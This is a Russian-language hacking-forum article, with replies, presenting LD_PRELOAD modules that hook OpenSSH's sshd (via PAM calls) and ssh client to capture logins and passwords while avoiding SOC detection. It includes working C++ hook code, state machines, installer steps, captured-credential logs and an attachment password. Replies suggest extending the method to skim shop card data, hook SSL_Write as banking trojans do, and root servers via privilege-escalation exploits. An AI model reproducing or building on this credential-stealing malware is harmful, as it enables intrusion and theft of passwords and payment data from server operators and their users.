• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Разработка модулей для прослушки OpenSSH без изменения PAM, SSH и SSHD

vxero

RAID-массив
Пользователь
Регистрация
30.01.2019
Сообщения
99
Реакции
34
Всем доброго вечера, год назад проводил эксперименты на данную тему. Недавно решил поделиться, в связи с финансовыми проблемами. А вдруг, не просто же лежать моей работе. Могут быть некоторые ошибки, так как работа, если не ошибаюсь, с начала осени того года.

Начнем. Однажды я искал утилиту для прослушки SSH сессий OpenSSH на Linux машине, логины и пароли внутрь и вне. Такое бывает, есть сервер и есть к нему доступ. Но вот на сервере мало интересной информации. Я начал искать готовые публичные решения и ужаснулся. Почти ничего нет. А то что есть сложно дорабатывать, сложно исправлять, со слабой совместимостью и оставляет множество следов. Ничего особенного, паблик. Я решил создать свое.

Существующие решения

Сначала я посмотрел существующие решения:
- патчинг модуля PAM, добавление своего модуля PAM;
- патчинг SSH клиента и сервера, компиляция измененных исходных кодов;
- патчинг памяти SSH клиента и сервера, используя ассемблерные вставки, так называемые хуки;
- просто перехват функций SSHD через ld.so.preload.

Других вариантов не нашел, и что сказать об этих методах.. они имеют следующие недостатки:
- изменение бинарных файлов таких как модуль PAM, SSH, SSHD, очень хороший индикатор для SOC;
- добавление нового модуля в директорию с модулями PAM, которые отвечают за аутентификацию, тоже хороший красный флажок для SOC;
- в случае с патчингом памяти я нашел только фиксированные ассемблерные вставки, которые будут работать на одном участке кода, а на другом отвалятся; если что-то поменяется в целевой программе — придется придумывать новый вариант и без знания языка ассемблера не обойтись;
- а просто перехват функций через ld_preload может отлавливать только login/password входящего соединения из SSHD (с клиентом так не получится, нет символов по которым можно отловить метод аутентификации).

Можно составить упрощенный список недостатков существующих решений:
- слишком много следов в случае изменения "важных" бинарей и директорий;
- отсутствие гибкости;
- слабая совместимость;
- все решения, которые я нашел, работали только со входными соединениями (т. е. через SSHD);
- сложность в поддержке, особенно в случае с языком ассемблера.

P.S.: Если кому нужно, могу позже покопаться и найти конкретные проекты.

Основные идеи

Основными идеями моего проекта являются модульность и машина состояний.

Модульность

Первая выражается в том, что проект по сути своей представляет из себя пару модулей .so которые можно подгружать через /etc/ld.so.preload, а можно и через модуль ядра. В данном проекте использовался первый вариант загрузчика.

Принцип работы этих двух модулей такой:
1. они подгружаются каждый в свой процесс;
2. во время подгрузки они устанавливают хуки на интересующие функции;
3. с помощью машины состояний из этих функций извлекаются логин, пароль, успешная попытка аутентификации или нет;
4. собранная информация записывается в логи.

Структура более менее рабочего решения будет следующей:
- модуль для подгрузки в клиента SSH;
- модуль для подгрузки в сервер SSH;
- модуль для подгрузки первых двух через /etc/ld.so.preload;
-
установщик этих трех моделей и файла ld.so.preload.

Первые две — это и есть данная работа. Остальные созданы для демонстрации.
Детали реализации смотри ниже.

Машина состояний

Вторая идея, машина состояний, выражается в том, что данные из интересующего процесса будут извлекаться с помощью цепочки состояние — действие — состояние.. . Это позволяет при отсутствии символов функции аутентификации и ее конкретного адреса извлекать данные из более простых функций, например strlen().

В этом проекте, с помощью утилит strace, objdump и ltrace были установлены сценарии выполнения: какие последовательности действий происходят при каждом сценарии работы пользователя. Мне кажется это проще чем читать исходные коды, однако каждому свое.

В случае сервера OpenSSH самыми важными оказались функции pam_get_item() и pam_authenticate(), которые отвечают за аутентификацию в Linux. PAM - подключаемые модули аутентификации, главный механизм аутентификации в Linux. Обсуждать здесь устройство PAM не буду, оно не такое сложное как кажется, но выходит за рамки этой статьи.

Первая функция позволяет получить логин и пароль на попытке аутентификации. Вторая определяет была это успешная или не успешная попытка.

Случай же клиента сложнее. В нем нет специальных символов для определения механизма аутентификации. Тут пришлось повозиться.

Позапускав много раз ltrace, утилиту для отслежки в рантайм какие функции с какими параметрами были вызваны из динамических библиотек, я определил в качестве самого надежного метода отслеживание вызовов sigaction(), strlen() и _exit(). Первая заглушает обработку сигналов перед прямо перед считыванием пароля, вторая вычисляет длины строк и третья завершает работу клиента. Да, длины строк. При подготовке сессии после успешной попытки аутентификации, при запросе пароля, после получения логина и пароля происходит вычисление длины строк. Кроме этого данная функция может вычисляться для любых строк, не только интересующих нас. Поэтому тут и необходима некоторая машина состояний, чтобы иметь понимание о текущем состоянии и действиях которые приведут к следующему.
Детали реализации смотри ниже.

Детали реализации

Итак у нас есть следующие составляющие проекта (исходные коды приложу):
- ssh_inject.so - .so для подгрузки в процесс ssh;
- sshd_inject.so - .so для подгрузки в процесс sshd;
- loader.so - .so для подгрузки через /etc/ld.so.preload, которая в свою очередь при запуске SSH или SSHD будет внедрять .so-шки, что выше;
- selftar.sh – скрипт для создания самораспаковывающегося архива, который установит все эти .so файлы на систему и заведет правильный /etc/ld.so.preload.

Первые два подгружаются loader-ом в процессы ssh и sshd соответственно. После подгрузки, каждая .so-шка выполняет инициализацию машины состояний и установку хуков. Для установки хуков выбрана библиотека funchook (https://github.com/kubo/funchook), которая с помощью дизассемблеров, в данном случае diStorm3 установит хуки в режиме рантайм. Если вы думаете, что перехват по PLT (IAT в Linux) будет работать, вы ошибаетесь. Дело в том, что некоторые символы интересующих функций отсутствуют в PLT. Использование данной библиотеки избавляет нас от необходимости знать язык Ассемблера и упрощает процесс поддержки и доработки решения.


C++:
static __attribute__((constructor)) void init(int argc, char **argv,
        char **env) {
    spy = new ServerAuthSpy();
    TRACE(("[ + ] Loading library into [%d]\n", (int) getpid()));
    if (install_hooks() != 0) {
        TRACE(("[ - ] Failed to initialize\n"));
        return;
    }
    TRACE(("[ + ] Initialized\n"));
    spy->Initiated();
}

Если в случае со входным соединением на сервер все довольно просто и нужно отловить только логин, пароль и время. При работе с клиентом нужно знать командную строку, в которой указан пользователь, сервер и порт (разбора варианта указания пользователя позже нет), и пользователя который пользуется клиентом. Эти данные берутся при инициализации .so-шки.

C++:
std::string get_cmdline(int argc, char **argv) {
    std::stringstream ss;
    ss << argv[0];
    for (int i = 1; i < argc; ++i) {
        ss << " " << argv[i];
    }
    return ss.str();
}
std::string get_user() {
    const size_t bufsize = 256 + 1;
    char buf[bufsize];
    if (getlogin_r(buf, bufsize)) {
        return "?";
    }
    return std::string(buf);
}
static __attribute__((constructor)) void init(int argc, char **argv,
        char **env) {
    ProcessInfo pi;
    pi.cmdline = get_cmdline(argc, argv);
    pi.user = get_user();
    spy = new ClientAuthSpy(pi);
    TRACE(("[ + ] Loading library into [%d]\n", (int)getpid()));
    if (install_hooks() != 0) {
        TRACE(("[ - ] Failed to initialize\n"));
        return;
    }
    TRACE(("[ + ] Initialized\n"));
    spy->Initiated();
}

Заметьте, используются функции и объекты стандартной библиотеки C++ (STL). Это потому что мы не можем использовать функции работы со строками из string.h. Они используют функцию strlen(), которую мы перехватываем и используем для нашей машины состояний.

Теперь поговорим о машинах состояний. Начнем с сервера.

./sshd_inject/state.hpp:

C++:
enum State {
    unknown, initialized, password_set, failed, succeeded,
};
struct Info {
    std::string username;
    std::string password;
    bool succeeded;
};

class ServerAuthSpy {
private:
    Info info;
    State state;
    void Send() {
        auto t = std::chrono::system_clock::now();
        std::time_t t_time = std::chrono::system_clock::to_time_t(t);
        std::string date = std::ctime(&t_time);
        TRACE(("[ + ] Sending\nDate: %sUsername: %s\nPassword: %s\nSucceded: %d\n", date, info.username, info.password, (int)info.succeeded));
    }
public:
    ServerAuthSpy(): state(unknown) {}
    void Initiated() {
        state = initialized;
    }
    void AuthenticationAttempt(bool authenticated) {
        if (state != password_set)
            return;
        state = authenticated ? succeeded:failed;
        info.succeeded = authenticated;
        Send();
    }
    void GotPasswordItem() {
        if (state == initialized || state == failed) {
            state = password_set;
        }
    }
    void SetUserPass(std::string user, std::string pass) {
        info.username = user;
        info.password = pass;
    }
};

./sshd_inject/init.cpp:
C++:
static int my_pam_get_item(const pam_handle_t *pamh, int item_type,
        const void **item) {
    int retval = pam_get_item_func(pamh, item_type, item);
    if (item_type == PAM_AUTHTOK && retval == PAM_SUCCESS && *item != NULL) {
        const char *username;
        pam_get_user((pam_handle_t*) pamh, &username, NULL);
        TRACE(("...  pam_get_item(PAM_AUTHOK): %s:%s\n", username, (char*) *item));
        spy->GotPasswordItem();
        spy->SetUserPass(username, (char*) *item);
    }
    return retval;
}
int my_pam_authenticate(pam_handle_t *pamh, int flags) {
    int retval = pam_authenticate_func(pamh, flags);
    TRACE(("...  pam_authenticate(..) and returned %d\n", retval));
    spy->AuthenticationAttempt(retval == 0);
    return retval;
}

Вот и вся машина состояний, для простоты нарисую картинку:
1656707738176.png

Теперь посмотрите на машину состояний клиента. Тут все сложнее, но мы справимся, я нарисую картинку :D

./ssh_inject/state.hpp:
C++:
enum State {
    unknown,
    initialized,
    password_prompt,
    sigaction_sgttou,
    password_read,
    succeeded
};
struct ProcessInfo {
    std::string user;
    std::string cmdline;
};
struct AuthInfo {
    std::string password;
    bool succeeded;
};
class ClientAuthSpy {
private:
    AuthInfo ainfo;
    ProcessInfo pinfo;
    State state;
    void Send() {
        auto t = std::chrono::system_clock::now();
        std::time_t t_time = std::chrono::system_clock::to_time_t(t);
        std::string date = std::ctime(&t_time);
        TRACE(("[ + ] Sending\nDate: %sLoged in as: %s\nCmdline: %s\nPassword: %s\nSucceded: %d\n", date, pinfo.user, pinfo.cmdline, ainfo.password, (int)ainfo.succeeded));
    }
public:
    ClientAuthSpy(ProcessInfo& pi) : pinfo(pi), state(unknown) {
    }
    void Initiated() {
        state = initialized;
    }
    void StrlenCalled(const char *s) {
        const char *passprompt_ending = "password: ";
        switch (state) {
        case initialized: {
            if (str_endswith(s, passprompt_ending)) {
                state = password_prompt;
                TRACE(("...  Password prompt has been detected\n"));
            }
            break;
        }
        case sigaction_sgttou: {
            state = password_read;
            if (ainfo.password.length() == 0) {
                ainfo.password = s;
                TRACE(("...  Password \"%s\" set\n", s));
            }
            break;
        }
        case password_read: {
            if (!strcmp(s, "client-session")) {
                state = succeeded;
                ainfo.succeeded = true;
                Send();
                TRACE(
                        ("...  Correct password has been sent, the job has been done\n"));
            } else if (str_endswith(s, passprompt_ending)) {
                state = password_prompt;
                ainfo.succeeded = false;
                Send();
                // reset password, TODO: refactoring
                ainfo.password = "";
                TRACE(
                        ("...  Wrong password has been sent, the next attempt in progress\n"));
            }
            break;
        }
        default:
            break;
        }
    }
    void SigactionSIGTOUCalled() {
        if (state == password_prompt) {
            state = sigaction_sgttou;
            TRACE(("...  sigaction() call has been detected\n"));
        }
    }
    void E_xitCalled() {
        if (state != succeeded) {
            Send();
            TRACE(("...  Wrong password has been sent, that was the last attempt\n"));
        }
    }
};

./ssh_inject/init.cpp:
C++:
static size_t my_strlen(const char *s) {
    size_t retval = strlen_func(s);
    spy->StrlenCalled(s);
    return retval;
}
static int my_sigaction(int signum, const struct sigaction *act,
        struct sigaction *oldact) {
    size_t retval = sigaction_func(signum, act, oldact);
    if (signum == SIGTTOU && oldact == NULL) {
        spy->SigactionSIGTOUCalled();
    }
    return retval;
}
static void my__exit(int status) {
    spy->E_xitCalled();
    return _exit_func(status);
}

А вот и обещанная картинка:


1656711409373.png


Тесты

Для запуска тестов зайдите в директорию build, создайте установщик с помощью скрипта selftar.sh:

./selftar build.tar.gz

Запустите установщик на Linux машине:

./build.tar.gz.self

Запустите SSHD. Присоединитесь к машине, например так:

ssh <user>@127.0.0.1

Откройте другой терминал выполните

# cat /proc/`pidof sshd`/maps | grep sshd_inj

чтобы проверить подгружен ли наш модуль.

Вывод должен быть примерно таким:
Код:
7f28e1539000-7f28e153c000 r--p 00000000 08:03 523810 /usr/lib64/libsshd_inject.so
7f28e153c000-7f28e1547000 r-xp 00003000 08:03 523810 /usr/lib64/libsshd_inject.so
7f28e1547000-7f28e154d000 r--p 0000e000 08:03 523810 /usr/lib64/libsshd_inject.so
7f28e154d000-7f28e154e000 r--p 00013000 08:03 523810 /usr/lib64/libsshd_inject.so
7f28e154e000-7f28e1555000 rw-p 00014000 08:03 523810 /usr/lib64/libsshd_inject.so

Теперь играйтесь. После моих игрулек у меня следующие логи в файле /tmp/sshd_inj.dbg:

Код:
[ + ] Loading library into [6761]
[ + ] Initialized
[ + ] Unloading the library
[ + ] Loading library into [6762]
[ + ] Initialized
[ + ] Loading library into [7441]
[ + ] Initialized
[ + ] Loading library into [10350]
[ + ] Initialized
... pam_get_item(PAM_AUTHOK): fs:31131
... pam_get_item(PAM_AUTHOK): fs:31131
... pam_authenticate(..) and returned 7
[ + ] Sending
Date: Fri Jul 1 21:14:29 2022
Username: fs
Password: 31131
Succeded: 0
... pam_get_item(PAM_AUTHOK): fs:434
... pam_get_item(PAM_AUTHOK): fs:434
... pam_authenticate(..) and returned 7
[ + ] Sending
Date: Fri Jul 1 21:14:33 2022
Username: fs
Password: 434
Succeded: 0
... pam_get_item(PAM_AUTHOK): fs:53535336346
... pam_get_item(PAM_AUTHOK): fs:53535336346
... pam_authenticate(..) and returned 7
[ + ] Sending
Date: Fri Jul 1 21:14:39 2022
Username: fs
Password: 53535336346
Succeded: 0
[ + ] Loading library into [10354]
[ + ] Initialized
... pam_get_item(PAM_AUTHOK): fs:XXXXX
... pam_authenticate(..) and returned 0
[ + ] Sending
Date: Fri Jul 1 21:14:50 2022
Username: fs
Password: XXXXX
Succeded: 1
[ + ] Loading library into [10445]
[ + ] Initialized
... pam_get_item(PAM_AUTHOK): fs:udhahdihadiad
... pam_get_item(PAM_AUTHOK): fs:udhahdihadiad
... pam_authenticate(..) and returned 7
[ + ] Sending
Date: Fri Jul 1 21:14:59 2022
Username: fs
Password: udhahdihadiad
Succeded: 0
... pam_get_item(PAM_AUTHOK): fs:XXXXX
... pam_authenticate(..) and returned 0
[ + ] Sending
Date: Fri Jul 1 21:15:04 2022
Username: fs
Password: XXXXX
Succeded: 1

Теперь играемся с клиентом, вывод в файле /tmp/ssh_inj.dbg:

Код:
[ + ] Loading library into [14092]
[ + ] Initialized
... Password prompt has been detected
... sigaction() call has been detected
... Password "akldmaklmdkad" set
[ + ] Sending
Date: Fri Jul 1 22:58:04 2022
Loged in as: fs
Cmdline: ssh fs@127.0.01
Password: akldmaklmdkad
Succeded: 0
... Wrong password has been sent, the next attempt in progress
... sigaction() call has been detected
... Password "dadwugdua\" set
[ + ] Sending
Date: Fri Jul 1 22:58:09 2022
Loged in as: fs
Cmdline: ssh fs@127.0.01
Password: dadwugdua\
Succeded: 0
... Wrong password has been sent, the next attempt in progress
... sigaction() call has been detected
... Password "XXXXX" set
[ + ] Sending
Date: Fri Jul 1 22:58:15 2022
Loged in as: fs
Cmdline: ssh fs@127.0.01
Password: XXXXX
Succeded:
... Correct password has been sent, the job has been done
[ + ] Unloading the library
[ + ] Loading library into [14164]
[ + ] Initialized
... Password prompt has been detected
... sigaction() call has been detected
... Password "dsakdkadksa" set
[ + ] Sending
Date: Fri Jul 1 22:58:52 2022
Loged in as: fs
Cmdline: ssh fs@127.0.01
Password: dsakdkadksa
Succeded: 0
... Wrong password has been sent, the next attempt in progress
... sigaction() call has been detected
... Password "ferijfieof" set
[ + ] Sending
Date: Fri Jul 1 22:58:56 2022
Loged in as: fs
Cmdline: ssh fs@127.0.01
Password: ferijfieof
Succeded: 0
... Wrong password has been sent, the next attempt in progress
... sigaction() call has been detected
... Password "idejoiwjdioew" set
[ + ] Sending
Date: Fri Jul 1 22:59:00 2022
Loged in as: fs
Cmdline: ssh fs@127.0.01
Password: idejoiwjdioew
Succeded: 0
... Wrong password has been sent, that was the last attempt

До сих пор работает, уже год прошел!
Во время тестов использовались Fedora и Ubuntu последних версий год назад, и сейчас Ubuntu 22.04.

Если появятся изменения

Вывод в Сях без strlen() бесмысленен и не думаю, что разработчики к этому прибегнут.

Если вдруг решение перестанет работать делаем так: идем в сорцы openssh-portable в /openbsd-compat/readpassphrase.c и оттуда пляшем. Ищем новые сценарии и зацепки.

Запомните, пригодятся три вещи: сорцы OpenSSH, ltrace, strace, objdump. Соответственно для поиска изменений и зацепок, для просмотра что выполняется в рантайме ltrace и strace и objdump для символов, которые пригодятся для хуков.

Заключение

Было разработано альтернативное решение для прослушки соединений OpenSSH. Большая часть недостатков пуличных решений устранена. А описанные методы можно использовать и для других задач и не только для Linux.

Некоторые моменты до сих пор не решены, это:
- отлавливание SIGINT (Ctrl-C), SIGKILL (kill -9 `pidof ssh`) в случае с клиентом;
- данная версия никуда не складывает информацию, есть только дебаг логи, по которым можно убедиться в работе данного приложения;
- никакой обфускации не задействовано;
- не отработана ситуация с заходом по ключу;
- отсутствует рефакторинг;
- не проверялась x86_32 версия.

В будущем данные модули или их модификации можно использовать для легитимных пентестов в качестве части более сложного ПО. Для поддержки программного кода не нужно знать ассемблер. Важные бинари и директории не задеты (PAM, ssh, sshd).

Спасибо за внимание.

Пароль к архиву: ilovebananas
 

Вложения

  • ssh_spy.zip
    236.6 КБ · Просмотры: 44
Последнее редактирование:
А разве инжект в процессы возможен без предварительной настройки системы?

P.S архива не видно
Да, запуск от рута. повышение привелегий не было задачей. Это модули. Пароль: ilovebananas
 

Вложения

  • ssh_spy.zip
    236.6 КБ · Просмотры: 20
Извините за спам, но наверное даже хорошо что много кто увидит эту тему. В теории таким же способом можно и карты собирать с шопов, поставив свои обработчики в httpd. Давно крутил в голове эту мысль, но сложность рутования отпугивала от реализации (без рута не работает). В теории можно очень глубоко засесть в системе имея рута, проведя по губам даже опытнам админам...
 
Извините за спам, но наверное даже хорошо что много кто увидит эту тему. В теории таким же способом можно и карты собирать с шопов, поставив свои обработчики в httpd. Давно крутил в голове эту мысль, но сложность рутования отпугивала от реализации (без рута не работает). В теории можно очень глубоко засесть в системе имея рута, проведя по губам даже опытнам админам...
Можно, но хттпд я не ковырял. Многое можно, вот только на практике мало у кого получается)
 
Можно, но хттпд я не ковырял. Многое можно, вот только на практике мало у кого получается)
Смею предположить что для TLS соединений используется openssl/libressl, что подводит нас к тому что достаточно будет перехватить вызовы SSL_Write и модифицировать буфер. Так и работают все банковские трои. Простор для творчества авантюристам всегда найдется ;)

P.S Я пишу это лишь для заинтересованных людей, дабы показать что автор статьи дал не просто какой-то инструмент, а методологию!
 
Смею предположить что для TLS соединений используется openssl/libressl, что подводит нас к тому что достаточно будет перехватить вызовы SSL_Write и модифицировать буфер. Так и работают все банковские трои. Простор для творчества авантюристам всегда найдется ;)

P.S Я пишу это лишь для заинтересованных людей, дабы показать что автор статьи дал не просто какой-то инструмент, а методологию!
Про троянов слышал что-то такое. Да, тут я облажался с названием, надо было указывать методологию, а не только частный пример.
 
Последнее редактирование:
Смею предположить что для TLS соединений используется openssl/libressl, что подводит нас к тому что достаточно будет перехватить вызовы SSL_Write и модифицировать буфер. Так и работают все банковские трои. Простор для творчества авантюристам всегда найдется ;)

P.S Я пишу это лишь для заинтересованных людей, дабы показать что автор статьи дал не просто какой-то инструмент, а методологию!
Да, как вариант. Тут у меня в целом шансов нет. Спонсор не работает по линуксам.
Можно попробовать. Под винду те же методы работают. Еще была тема того года чтоли где в IIS подгружали расширение, чтобы перенаправлять траф сервера. Ту конкретную статью не нашел. Вот похожее, совсем недавно: https://securelist.com/the-sessionmanager-iis-backdoor/106868/. Могу перевести и выложить как отдельную статью.
 
Последнее редактирование:
Извините за спам, но наверное даже хорошо что много кто увидит эту тему. В теории таким же способом можно и карты собирать с шопов, поставив свои обработчики в httpd. Давно крутил в голове эту мысль, но сложность рутования отпугивала от реализации (без рута не работает). В теории можно очень глубоко засесть в системе имея рута, проведя по губам даже опытнам админам...
Зачем так сложнять, rootkill scanner быстрой найдет подобную хрень. Достаточно напедалить простенький mod для nginx для mitm или подобного. А рутануть можно LPE шкой, лишь бы был хоть какой доступ. Какая там методология, давно известная многим спецам практика

Автору - статья интересная
 
Зачем так сложнять, rootkill scanner быстрой найдет подобную хрень. Достаточно напедалить простенький mod для nginx для mitm или подобного. А рутануть можно LPE шкой, лишь бы был хоть какой доступ. Какая там методология, давно известная многим спецам практика

Автору - статья интересная
Бесполезная но интересная? Понятно, зря выложил.

Для меня утилита была полезной, и я не видел аналогов в паблике.
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх